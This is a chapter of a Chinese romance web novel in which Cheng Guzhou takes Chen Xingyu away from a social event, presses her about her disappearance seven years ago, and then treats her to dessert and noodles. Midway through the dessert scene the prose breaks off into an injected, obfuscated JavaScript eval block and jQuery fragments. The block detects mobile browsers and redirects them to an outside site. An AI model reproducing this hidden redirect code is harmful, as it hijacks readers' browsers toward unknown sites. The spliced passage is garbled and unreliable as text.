渡星燃九

11. 强制约会

    铃声按成静音,屏幕却一直闪烁,这不达目的不肯罢休的风格,陈幸予也习惯了。


    “喂,沈总。”


    接过电话的是程故舟。


    “对,陈经理跟我在一起,麻烦您跟梁老板和在场的各位同伴们说一声,我公司突然有些情况,需要陈经理过来帮忙解决,就先失陪了。”


    “陈经理?她现在正帮我开车,不方便接电话。”


    “好好,感谢沈总的理解!再见!”


    陈幸予听程故舟一句一句谎话说得轻松,更加觉得看不透。


    程故舟还回手机,陈幸予慢慢接过,脸色不大高兴。


    “怎么了?不会是……看我骗了你的上司,你生气了吧?”


    程故舟移身贴向陈幸予,目光探进了她低垂的眸子


    “程总你现在…… 都是这样说谎话不打草稿的吗?”


    工作上的疑问,陈幸予总是习惯于当场就要一个结果,但这问题一出口,连她自己都不知道,她想听到什么回答。


    程故舟挑了挑眼角,带了一些玩味的笑:“对人,不对事。”


    陈幸予嘴角一弯:“想不到,你是这样的程总。”


    程故舟却有着怅然:“陈幸予,你还不知道我吗……”


    对话好像进行得不太顺畅,不明不白、不清不楚,说不上好但也说不上不好,陈幸予想,这又何尝不是一种恰到好处的糊涂。


    程故舟却似乎想把话挑明,“小星,这次我来,不是为别的,是为了你,你知道吧?”


    陈幸予不置可否,只是笑着轻轻把话推了回去:


    “程总为我吗?我也为程总啊。您的铖威科技眼下,业务开展得顺风顺水,临时业务部也马上变为分公司了,想我维盛营销,也是有一份功劳的。”


    程故舟一听陈幸予还在揣着明白装糊涂,自然不想夸她陈经理这份功,“打开成江市场这结果,我也始料未及,毕竟临时业务部这种设置,你也了解,主打一个临时,我当然志不在此。”


    听了程故舟的得便宜卖乖,陈幸予心里顿觉不爽,没想到,他接下来的话,更是让陈幸予当场发作。


    “当然这件事,强有力地证明了陈经理你的营销能力的确很突出,于此同时,也侧面证明,小星,你应该是传说中的旺夫。”


    陈幸予被这话直接气笑,“程总,你要不听听你自己在说什么!你能不能拎拎清楚!谈工作的时候,真的没必要老是捎带上我!”


    “捎带?陈幸予,我可是找了你七年。”程故舟目光沉沉地望向陈幸予,一句话似笑非笑,一双眼悲喜间杂。


    陈幸予却并没有把程故舟的话多当真,她顺着他的思路反驳道:


    “七年不见,还是因为公益活动偶遇,只能说明,我们只适合工作伙伴关系。”


    “偶遇?你觉得是偶遇?陈幸予,你知不知道,你消失得有多彻底?”


    陈幸予经不住程故舟最后一句反问,不说话了。


    “那时我问遍了北山市每一个可能认识你、知道你消息的人,可都联系不上你。我去你的大学找你,才知道你退学了!我打听到消息,在英国呆了将近一年,问了那么多所大学,都没能查到一个叫陈幸予的中国转学生!”


    陈幸予越听,眼眸越黯淡无光,她整个人也像冬天结冰的湖水,平静而冰冷。


    程故舟像在讲述昨天发生的事一样,继续说着:


    “后来我想,现在网络这么发达,或许我总能在某一条线上、某一个世界遇到你,你大概不知道,因为这一个念头,“陈幸予”这三个字,永远是我搜索引擎的第一个关键词。”


    陈幸予渐渐红了眼睛,却还是没有开口说什么。


    她最不想做的事,就是谈起过往,而程故舟,偏偏就是住在她过往里的一个人。


    “小星,我一直不明白,为什么?就算你要往前走,为什么你连我都放弃了?我们不是说好了……”


    “你不要再说了!”


    陈幸予突然打断了程故舟的话,她颤抖的声音有些气急,眼泪一颗颗扑落而下,“请你,别再说了……”


    程故舟立刻改口,“好,小星,我不说了,你别激动,来,跟着我深呼吸……”


    陈幸予的手被程故舟轻轻握住了,这双曾经带给她安全感的手她再熟悉不过,可如今,照样抚平不了她心里黑暗和空洞。


    深呼吸她也再熟悉不过,每一次从重复的梦里醒过来,她都要靠缓慢的深呼吸,让仿佛已经停止跳动的心脏重启。


    情绪平稳以后,陈幸予抽回了双手,空望着眼前的雨,恢复了沉默。


    “对不起小星,是我太心急了,”程故舟语气里带着后悔和心疼,“今天看见又有人围着你打转,你还对对方那么肯定,我真的……看不下去。”


    程故舟拧紧了眉心,又用手指压平,还是挡不住满脸的气恼。


    陈幸予也叹了口气,“梁老板儿子都三岁了好吧。”


    程故舟扶着额头的手猛地落下来,又猛地上去了,他把脸别到一边,不让陈幸予看见他渐渐恢复的笑意。


    “所以请问程老板,现在我可以走了吗?”陈幸予觉得再留在车里,可能一会儿气氛又会开始奇怪了。


    “你现在走不了,你看,联谊会散场了,你现在下去,就会穿帮。”程故舟指了指不远处的会馆门口,男女青年们正三五成群地结伴向外走。


    “啧!”这次轮到陈幸予恼羞成怒了,“你到底还想干什么啊?”


    程故舟不再掩笑,反问陈幸予:“小星,你自己说过什么,你都忘了吧?”


    陈幸予不想说话,只飞过来一个困惑眼神。


    程故舟却又卖关子,只说了一句:“小星,这次,换我来追你。”


    ……


    车子终于缓缓启动,程故舟开车带着陈幸予,来到了成江市的一家奢侈品商场——锐光百货。


    一路上,陈幸予安静听着车载广播,也不主动和程故舟说话,等看出了程故舟的目的地,陈幸予故意挑剔着问他:


    “程总之前都是这么追人的吗?不会是买包买鞋这么简单直接吧?也不问问对方的喜好吗?”


    “这里不是有一家甜品店很有名?一直想带你来试试。”程故舟停好车,走过来为陈幸予打开了车门。


    陈幸予虽然脸上反应不大,但心里已经猜到了程故舟说的是哪一家店,这家店的甜品以精致造型和独特口味著称,每一款都价格不菲。


    休息日宅在家里的时候,她时不时会研究做些小点心小蛋糕,还经常在网上刷到这家人气店铺的作品,再加上中午的冷餐她本就没怎么吃,比起倔强的脑子,她的胃先投降了。


    点单的时候,陈幸予把菜单看得很仔细,好像在欣赏精致的画册,她点了一款叫做“绵云之阶”的蛋糕,程故舟点的是“森野味觉”,两个人一样,都没有点茶饮或是咖啡。


    蛋糕入口的一瞬间,陈幸予整个人暂停了几秒。


    的确是口味独特,她在绵软如白云的轻糯口感之下,吃出了芥末的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200946|165700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    味道,这真是一种她有些欣赏不了的配搭,她觉得不可思议,但仍努力保持淡定。


    陈幸予心里顿生好奇,程故舟正吃的那块蛋糕是什么味道,因为她在他脸上,也看出了“不太妙”。


    两个人就这样,一小口一小口地品尝着自己面前的那块蛋糕,谁也不说话。


    陈幸予问店员要了几次柠檬水,程故舟就问店员要了几次柠檬水。


    两个人从甜品店里出来,对视了一眼,陈幸予忍不住先发表了品鉴感言:“内个……我想吃个普通冰激凌压压惊。”


    程故舟大手一挥,“走,去找雪王!”


    两人出了商场,到了马路对面的商业街,一人举了一个甜筒出来。


    刚下过雨的傍晚有些冷,陈幸予拦着让程故舟,没让他立刻就吃,她扫了一眼商业街,发现了一家看起来比较干净的小面馆,便和程故舟说自己想吃面,拉着他走了进去。


    吃完冰激凌没一会,热乎乎的汤面就被端了上来,陈幸予看程故舟吃得顺口,自己也慢悠悠地吃着。


    结束晚餐,程故舟问:“下周的公益交流会,你确定会出席吧?”


    陈幸予回答:“确定。”


    程故舟提议:“那……带你去转转衣服?我看邀请函上写了女士可以穿礼服裙。”


    陈幸予摇头,“也可以不穿,回去吧。出门前我给我家猫放的粮不够,太晚回去它会生气的。”


    程故舟没再坚持,“那我直接送你回家,节省时间。”


    陈幸予明确要求:“回联谊的会馆,我取我自己的车。”


    已经习惯被拒绝的程故舟并没有表现出很多沮丧,他依着陈幸予把她送回了会馆停车场。


    分别前,程故舟还不忘夸赞陈幸予:“你下午做的插花作品很漂亮,有点可惜,走的时候太急了,没有拿。”


    陈幸予摇摇头,“本来也没想拿,里面有几种花,小猫闻不了,会中毒。”


    程故舟笑得温柔:“今天的面馆你选得也很好,吃完了胃里觉得很舒服。”


    陈幸予浅浅一笑,冲程故舟挥挥手,说了声:“走了。”


    到家之后,陈幸予简单收拾洗漱,就躺到了床上。她把脸埋进驷马毛茸茸的肚子,撸了它半天,才感觉整个人渐渐放松下来。


    睡着前的半梦半醒之间,很多回忆碎片不听话地涌进了她的脑海,夏天游乐场的开心嬉闹,放学后匆匆忙忙的炒菜做饭,偷偷写情书却被发现的气急败坏,小馆子里两人共分一碗面的愉快……


    记忆翻涌,渐渐淹没了她,她想醒却醒不了,很多个晚上,她都不知道,到底是谁在控制着她的大脑。


    这天半夜再次从梦中惊醒,她开始觉得,有些事情,已经开始脱离了她的掌控,这让她感觉到无限的不安与恐惧。


    第二天,陈幸予起了个大早,把黑眼圈仔细遮了几遍,才打起精神开车去了公司。


    从新的一周开始,陈幸予和整个项目组都在为元旦前一天的慈善交流会做准备。


    这次的交流会由公益组织主办,邀请了社会各界的名流和许多优质企业,慈善基金会的汪会长十分重视。


    很多细节问题汪会长都要一一过问,所以陈幸予每天下班的时候,都觉得自己被掏空了精气神。


    终于忙到交流会这天上午,本应进入“全面戒备”状态的陈幸予,却被沈言澈临时带出了公司。


    沈言澈嘴上说的是去办事,但去的不是别处,正是上周她和程故舟刚刚去过的,锐光百货。